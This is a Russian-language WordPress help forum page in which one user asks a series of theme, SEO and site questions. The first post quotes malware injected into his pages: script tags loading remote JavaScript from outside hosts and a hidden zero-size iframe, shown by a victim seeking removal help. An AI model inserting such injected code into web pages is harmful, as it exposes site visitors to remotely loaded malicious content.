realmen80

Помогите справится с вирусом :(

Здравствуйте.
Обнаружил у себя на сайте вирус. Посторонний код появляется в коде новости когда в админке на вкладке редактирования любой страницы посмотреть ее в визуальном редакторе. Потом снова переключаюсь на HTML код страницы и под текстом статьи появляется код:

<p><script type="text/javascript" src="https://pluginplus.net/plugins/system/system_ps.js"></script></p>
<p><iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html"></iframe></p>
<p><script type="text/javascript" src="http://c.am15.net/preloader7.js"></script></p>
<div id="advm_video"> </div>
<div>
<div id="advm_block" style="display: none;">
<div id="advm_close">Закрыть [Х]</div>
<div id="ambn17757"> </div>
<div id="advm_box">
<div>Осталось <span id="advm_timer"></span> сек.</div>
</div>
</div>
</div>

В HTML коде страницы удаляю указанный код и сохраняю страницу – кода нет. Если же переключиться снова на визуальный редактор страницы и обратно в HTML код – код вируса опять есть. Никак не могу его найти в файлах сайта… 🙁 Подскажите в каком виде он может быть и где? Заранее благодарен за помощь.

Не отображается картинка кнопки

Прописываю в style.css путь к картинке кнопки www.site.ru/images/button.gif – кнопка на сайте не выводится. Пишет "Невозможно загрузить указанный УРЛ". Когда прописываю полный путь: www.site.ru/wp-content/themes/название темы/images/button.gif – кнопка появляется. Какая может быть причина того, что при первом виде урл кнопка не выводится? Права доступа папки "images" – 755. Заранее благодарен за помощь.

Как удалить из кода link rel=’prev’?

Здравствуйте.
Подскажите что и где нужно удалить чтобы в исходном коде полной новости пропали строки:
«<link rel=’prev’ title=’Ривина. Ривина уход. Размножение Ривина. Ривина фото. Ривина пересадка. Вредители Ривина’ href=’http://site.ru/photo/326-rovnina.html’ />
<link rel=’next’ title=’Рео. Рео уход. Размножение Рео. Рео фото. Рео пересадка. Вредители Рео’ href=’http://site.ru/photo /328-breon.html’ />
<link rel=’shortlink’ href=’http://site.ru/?p=327′ />»

Удалял в single.php строки:

                    /* Display navigation to next/previous posts when applicable */
                    if (theme_get_option('theme_top_single_navigation')) {
                        theme_page_navigation(
                            array(
                                'next_link' => theme_get_previous_post_link('&laquo; %link'),
                                'prev_link' => theme_get_next_post_link('%link &raquo;')
                            )
                        );
                    }
/* Display navigation to next/previous posts when applicable */
                    if (theme_get_option('theme_bottom_single_navigation')) {
                        theme_page_navigation(
                            array(
                                'next_link' => theme_get_previous_post_link('&laquo; %link'),
                                'prev_link' => theme_get_next_post_link('%link &raquo;')
                            )
                        );
                    }

Но не помогло, все равно в коде остались строки….

Нужна помощь с доп. полями

У меня установлен плагин All In One SEO Pack для заполнения Title и Description каждого поста.

С целью задания для рубрик своих Title, Description, Keywords с помощью плагина Advanced Custom Fields были созданы соответствующие доп. поля (см. скрин).

И потом в header.php был добавлен код:

<?php
    function head_replace($buffer) {
        if ( is_category() ) { // если это шаблон рубрики
            // Формируем ID рубрики
            $cat_id = 'category_'.the_category_ID(false);
            
            // Получаем значения SEO полей по их именам
            // Если вы по другому назвали поля, замените первые параметры get_field
            $seo_title = get_field('my_seo_title', $cat_id);
            $seo_description = get_field('my_seo_description', $cat_id);
            $seo_keywords = get_field('my_seo_keywords', $cat_id);
            
            if ( !empty($seo_keywords) ) { // если поле seo keywords заполнено
                // удаляем старый keywords, если он есть
                $buffer = preg_replace('#<meta[^>]+["\']keywords["\'][^>]*>#si', '', $buffer);
                // вставляем новый
                $buffer = '<meta name="keywords" content="'.$seo_keywords.'" />'."\r\n" . $buffer;
            }
            
            if ( !empty($seo_description) ) { // если поле seo description заполнено
                // удаляем старый description, если он есть
                $buffer = preg_replace('#<meta[^>]+["\']description["\'][^>]*>#si', '', $buffer);
                // вставляем новый
                $buffer = '<meta name="description" content="'.$seo_description.'" />'."\r\n" . $buffer;
            }
            
            if ( !empty($seo_title) ) { // если поле seo title заполнено
                // удаляем старый title, если он есть
                $buffer = preg_replace('#<title.+?/title>#si', '', $buffer);
                // вставляем новый
                $buffer = '<title>'.$seo_title.'</title>'."\r\n" . $buffer;
            }
        }
        
        return $buffer;
    }
    ob_start('head_replace');
?>

А перед </head> вставьте такой код:
<?php ob_end_flush(); ?>

Но почему то в исходном коде все равно отображается по два Title и Description. 🙁 Не могу понять почему код не удаляет лишний Title и Description. Прошу помощи. Спасибо

Какой файл использ. для карты сайта?

В свойствах страницы карты сайта, которая выводится плагином Dagon Design Sitemap Generator v3.12 указан базовый шаблон для ее вывода. Когда открываю карту сайта, то правый сайдбар почему-то уезжает вниз и не могу понять почему… 🙁 Все остальные страницы на сайте отображаются нормально. В чем может быть проблема?

На главной не работает All in One SEO Pack.

Как только указываю в настройках, чтобы главная страница была статическая – платин All in One SEO Pack перестает работать на главной (в коде пропадает description и keywords). Ставлю назад главной страницей вывод записей – все ок.
В index.php прописано <?php get_header(); ?>;
В page.php прописано <?php get_header(); ?>;
В single.php прописано <?php get_header(); ?>;
В header.php прописано <?php wp_head(); ?>.
В чем может быть проблема?

Как убрать “category” из адреса ссылки?

В админке вордпресса есть возможность в разделе "Параметры"/"постоянные ссылки" указать вид постоянных ссылок. А как можно изменить вид ссылок категорий?
Сейчас у меня так: http://site.ru/category/avto/bmw
А нужно сделать: http://site.ru/avto/bmw

Ошибка при добавлении строк в functions.php

Когда добавляю в functions.php новый код – увеличивается количество строк – стает больше 579 и после сохранения изменений при попытке зайти в админку сайта появляются ошибки:

Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-login.php on line 362

Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-login.php on line 374

Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-includes/pluggable.php on line 697
.
.
Warning: Cannot modify header information - headers already sent by (output started at /home/adm/domains/site.com.ua/public_html/wp-content/themes/internal_medicine_wp/functions.php:579) in /home/adm/domains/site.com.ua/public_html/wp-includes/pluggable.php on line 714

Как только убираю строки чтобы стало меньше 579 – все работает нормально и могу зайти в админку.
Изначально когда брал тему – были закодированные ссылки. По инструкциям все раскодировал – все работало нормально, пока не понадобилось добавить код в functions.php – теперь возникают трудности.

Раньше на месте 579 строки стоял код проверки наличия ссылок:

<?php function check_links(){
$l='<noindex><p style="text-align: center;"><a rel="nofollow" href="http://site.com" target="_blank">111</a></p></noindex>';
$f=dirname(__FILE__).'/footer.php';$fd=fopen($f,'r');
$c=fread($fd,filesize($f));fclose($fd);
if(strpos($c,$l)==1){echo 'This theme is released under creative commons licence, all links in the header should remain intact';die;}}check_links();?>

Все ссылки из footer.php и header.php были удалены еще в самом начале.

В чем может быть причина? Почему может появляться ошибка при увеличении строк и как исправить ошибку? Заранее благодарен за помощь.

Гугл игнорирует robots.txt

В индексе гугла вчера появились страницы которые закрыты от индексации в robots.txt.
Страници вида:

site.ru /2012/07/13
site.ru/author/admin/feed
site.ru/tag/categor/feed
И все страници сайта с окончанием /feed
site.ru/avto/naruzhnyj-ili-vneshnij-tuning.html/feed

в robots.txt прописаны такие вот строки:

Disallow: /author/
Disallow: /20*
Disallow: /tag
Disallow: /?feed=
Disallow: /*feed
Disallow: */feed
Disallow: /feed
Disallow: /rss
Disallow: */rss

Плюс под всеми страницами написано вместо description:

 - Translate this page
A description for this result is not available because of this site's robots.txt – learn more.

Почему же страницы появились в индексе и как их убрать?

Разные картинки в описании и новости

Добавляю новость через "Записи" – "Добавить новую" и потом обрезаю ее тегом <!–more–>, чтобы было как-бы короткое описание новости, а при нажатии "Читать далее" – полная новость. Но у меня появилась необходимость чтобы картинка которая есть в начале короткого описания, не выводилась в полной новости. Как это можно реализовать?

Как поменять порядок вывода постов?

Думаю что решение должно быть в самом движке, но не могу найти где…. Мне нужно чтобы статьи выводились по порядку их добавления на сайт. А сейчас выводятся вверху самые новые и потом старее и т.д., а нужно чтобы те что были добавлены на сайт первыми выводились первыми. Где можно изменить порядок вывода постов?

Заголовок h2 и h1

Я хочу сделать структуру чтобы все заголовки в перечне постов были h2, а полная новость – h1. Как правильно выводить новости при такой задаче и в каких файлах править заголовки? Сейчас добавляю новости через записи и потом их обрезаю тегом more, чтобы получались как анонсы и потом можно было перейти к полной новости. Но так получается и в перечне постов заголовок h1 и в полной новости – h1, а мне нужно чтобы в перечне постов был h2. В DLE есть шаблон краткой и полной новости, а как в WordPress? Какой файл править чтобы в анонсах h2 был заголовок?

Как изменить вывод заголовка в h1?

Где искать изменение h2 на h1 в заголовке полной новости? В файле single.php нет и в index.php тоже нет. Хотя везде в описаниях написано что именно single.php отвечает за вывод полной новости. Сейчас в теме заголовок заключен в h2. Я хочу сделать чтобы он был h1. Где еще можно поискать?

Anonymous
Отправить
Ответ на: